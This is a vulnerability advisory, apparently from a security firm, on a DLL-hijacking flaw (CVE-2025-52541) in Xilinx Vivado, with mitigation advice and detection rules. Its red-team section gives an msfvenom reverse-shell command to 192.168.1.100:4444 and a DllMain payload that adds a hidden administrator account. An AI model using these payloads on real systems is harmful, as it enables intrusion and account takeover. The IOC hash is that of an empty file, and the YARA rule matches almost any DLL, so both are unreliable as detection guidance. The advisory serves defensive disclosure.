CVE-2025-52541

Executive Summary

CVE-2025-52541 is a DLL hijacking vulnerability identified in Xilinx Vivado, a comprehensive electronic design automation (EDA) tool for FPGA and SoC development. This vulnerability allows a local attacker with low privileges to achieve privilege escalation by placing a malicious DLL in a directory that is searched before the legitimate one. Successful exploitation could lead to arbitrary code execution in the context of the user running Vivado, potentially compromising the entire system. The vulnerability has a CVSS score of 7.3 (High), indicating significant impact on confidentiality, integrity, and availability. As of this report, no official patch is available, and no public proof-of-concept (PoC) code has been released.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone desktop application (Xilinx Vivado) used in hardware design and verification. The supply chain risk is primarily associated with the distribution of the Vivado installer and any third-party plugins or IP cores that may be loaded into the Vivado environment. Users should ensure they download Vivado only from official Xilinx sources and verify file integrity.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions beyond placing a DLL.
• Privileges Required (PR): Low (L) – The attacker needs only low-level user privileges.
• User Interaction (UI): None (N) – No user action is required beyond the victim running Vivado.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full disclosure of sensitive data is possible.
• Integrity (I): High (H) – Complete compromise of system integrity is possible.
• Availability (A): High (H) – Full denial of service or system crash is possible.

Threat Level: High. The low attack complexity and lack of user interaction make this a serious threat for environments where multiple users share a system or where an attacker has already gained a foothold.

Deep Dive & Mechanics

DLL hijacking (also known as DLL preloading) occurs when an application fails to specify the full path to a required DLL. Windows follows a specific search order to locate DLLs, which typically includes the application's directory, the current working directory, the system directory, and the PATH environment variable. If an attacker can place a malicious DLL with the same name as a legitimate one in a directory that is searched earlier (e.g., the current working directory or a user-writable path), the malicious DLL will be loaded instead.

In the context of Vivado, the vulnerability likely exists in one or more of its executables or services that load DLLs without using absolute paths. An attacker with local access can:

1. Identify a DLL that Vivado loads dynamically (e.g., via LoadLibrary without a full path).
2. Create a malicious DLL with the same name.
3. Place it in a directory that is searched before the legitimate DLL's location (e.g., the directory from which Vivado is launched, or a user-writable directory in the PATH).
4. When a user launches Vivado, the malicious DLL is loaded, executing arbitrary code with the user's privileges.

The attack can be further refined by targeting DLLs that are loaded during specific operations (e.g., opening a project, running a simulation) to increase reliability.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable pattern is:

Vulnerable (C/C++):

// Vulnerable: Loads DLL without full path
HMODULE hMod = LoadLibrary(TEXT("some_dll.dll"));
if (hMod == NULL) {
    // Handle error
}

Patched (C/C++):

// Patched: Uses full path to the DLL
HMODULE hMod = LoadLibrary(TEXT("C:\\Xilinx\\Vivado\\2024.1\\bin\\some_dll.dll"));
if (hMod == NULL) {
    // Handle error
}

Alternatively, the patched code could use SetDllDirectory to restrict the search path or use LoadLibraryEx with the LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR flag.

Exploitation & Lab Setup

Red Team

Objective: Achieve privilege escalation from a low-privileged user to a higher privilege (e.g., administrator) or execute arbitrary code in the context of a user running Vivado.

Prerequisites:

• Local access to a system with Xilinx Vivado installed.
• Ability to write files to a directory that is in the DLL search path (e.g., the user's %TEMP% directory, the current working directory, or a directory in the PATH).

Steps:

1. Identify Target DLL: Use tools like Process Monitor (Procmon) from Sysinternals to monitor Vivado's DLL load activity. Filter for Process Name = vivado.exe and Operation = Load Image. Look for DLLs that are loaded from user-writable paths or that fail to load (e.g., NAME NOT FOUND).
2. Create Malicious DLL: Write a DLL that exports the same functions as the target DLL. The DLL should execute a payload (e.g., a reverse shell, add a user to the local administrators group, or run a command). Example using Metasploit:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

3. Place Malicious DLL: Copy the malicious DLL to a directory that is searched before the legitimate one. For example, if Vivado is launched from C:\Users\victim\Desktop, place the DLL there. Alternatively, use a directory in the PATH like C:\Users\victim\AppData\Local\Temp.
4. Trigger Execution: Wait for the victim to launch Vivado or perform an action that loads the DLL. The malicious DLL will be loaded, and the payload will execute.

Example Payload (C):

#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Execute a reverse shell or other payload
        WinExec("cmd.exe /c net user attacker P@ssw0rd! /add && net localgroup administrators attacker /add", 0);
    }
    return TRUE;
}

Blue Team

Detection:

• Monitor for unexpected DLL load events using Sysmon (Event ID 7 – Image loaded).
• Look for DLLs loaded from user-writable directories (e.g., %TEMP%, %APPDATA%, %USERPROFILE%).
• Use Windows Defender Application Control (WDAC) or AppLocker to block DLLs from non-approved paths.
• Enable Safe DLL Search Mode (registry key: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode).

Hunting:

• Search for processes that load DLLs from unusual paths.
• Correlate DLL load events with file creation events (Sysmon Event ID 11) to identify newly created DLLs.

Mitigation:

• Apply the principle of least privilege: users should not have write access to directories in the DLL search path.
• Use tools like Process Monitor to identify vulnerable DLL loads and report them to the vendor.
• Consider using a software restriction policy or WDAC to allow only signed DLLs.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Placeholder – to be updated when a specific PoC is available)
  • malicious.dll: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• File Paths:
  • C:\Users\<username>\AppData\Local\Temp\malicious.dll
  • C:\Users\<username>\Desktop\malicious.dll
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode (set to 0 indicates unsafe mode)
• Network Indicators:
  • Outbound connections to IP 192.168.1.100 on port 4444 (if using a reverse shell)
• Process Indicators:
  • vivado.exe loading a DLL from a non-standard path.
  • Child processes spawned by vivado.exe (e.g., cmd.exe, powershell.exe).

Detection Engineering

YARA Rule

rule CVE_2025_52541_DLL_Hijacking {
    meta:
        description = "Detects malicious DLLs targeting Xilinx Vivado DLL hijacking vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52541"
    strings:
        $s1 = "vivado" nocase
        $s2 = "LoadLibrary" nocase
        $s3 = "DllMain" nocase
    condition:
        uint16(0) == 0x5A4D and // MZ header
        ($s1 or $s2 or $s3)
}

Sigma Rule

title: DLL Hijacking via Xilinx Vivado
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects DLL load events from user-writable directories by Vivado processes
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-52541
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\vivado.exe'
        ImageLoaded|contains:
            - '\AppData\Local\Temp\'
            - '\Desktop\'
            - '\Downloads\'
    condition: selection
falsepositives:
    - Legitimate DLLs placed in user directories by developers
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $SHELLCODE_PORTS (msg:"CVE-2025-52541 - Potential DLL Hijacking Payload"; flow:to_server,established; content:"|4d 5a|"; offset:0; depth:2; content:"|50 45 00 00|"; distance:0; within:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict User Permissions: Ensure users do not have write access to directories in the DLL search path (e.g., %TEMP%, %APPDATA%, current working directory).
2. Enable Safe DLL Search Mode: Set the registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1 (DWORD).
3. Use Application Control: Implement AppLocker or WDAC to allow only signed DLLs from trusted paths.
4. Monitor for Suspicious Activity: Deploy the YARA, Sigma, and Suricata rules provided above.

Long-Term Fix:

• Vendor Patch: Await an official patch from Xilinx that addresses the DLL loading behavior. In the meantime, contact Xilinx support for guidance.
• Code Hardening: If you have access to the Vivado source code (e.g., as a plugin developer), ensure all LoadLibrary calls use absolute paths or use SetDllDirectory to restrict the search path.

Workaround:

• Run Vivado in a sandboxed environment (e.g., using Windows Sandbox or a virtual machine) to limit the impact of a successful exploit.

Valters IT